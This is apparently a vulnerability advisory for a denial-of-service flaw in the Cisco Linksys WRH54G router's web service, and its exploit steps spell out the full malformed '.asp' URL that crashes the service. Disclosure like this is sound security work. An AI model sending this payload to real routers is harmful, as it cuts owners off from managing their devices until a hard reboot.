1. DESCRIPTION There is a DoS vulnerability in Cisco Linksys router WRH54G http service. Any anonymous attacker could crash the http service easily by sending a malformed http request, and needn't any privilege. When the device attempts to process the malformed request, it will be possible to corrupt sensitive memory. Although unconfirmed, it may also be possible to modify various configuration settings or execute malicious code. After being attacked, Cisco Linksys router can't be accessed remotely by any user. Http service is not recovered and the attacked router can not be managed without a hard reboot. A reboot of router may cause network disconnected. Further more, the firewall can still route packets. 2. Affected products and versions Affected products: Cisco Linksys WRH54G and other devices (bacause I have no enough other Linksys routers in hand, I can't make sure how many devices this vulnerability can effect.) Affected versions: The lasted Firmware v1.01.03 If Need any privilege: No 3. ANALYSIS A malformed http request can cause the http service crashed. The malformed request is mixed by string ./ and overly charactors. Its format is as follows: http://192.168.1.1/./front_page......front_page.asp 4. EXPLOIT STEPS 4.1 Make sure the router is running normally, and the Web server is right. 4.2 Open the explorer, type following malformed URL, and press ENTER: http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.asp 4.3 Check the http service, it can't work. Note: 1. The string ./ in malformed request is necessary. Lack of this string, the http server will ask the anonymous to input auth information. 2. the string .asp in the end of malformed request is also necessary. Lack of this string, we can not crash the http server. 3. The firmware information could be found at: http://www-cn.linksys.com/servlet/Satellite?childpagename=CN%2FLayout&packedargs=page%3D2%26cid%3D1140648553423%26c%3DL_Content_C1&pagename=Linksys%2FCommon%2FVisitorWrapper&SubmittedElement=Linksys%2FFormSubmit%2FProductDownloadSearch&sp_prodsku=1172713275887 4. There is another DoS vulnerability about malformed http request in Linksys devices(http://www.securityfocus.com/bid/6301/info). The description and explit are different from this vulnerability.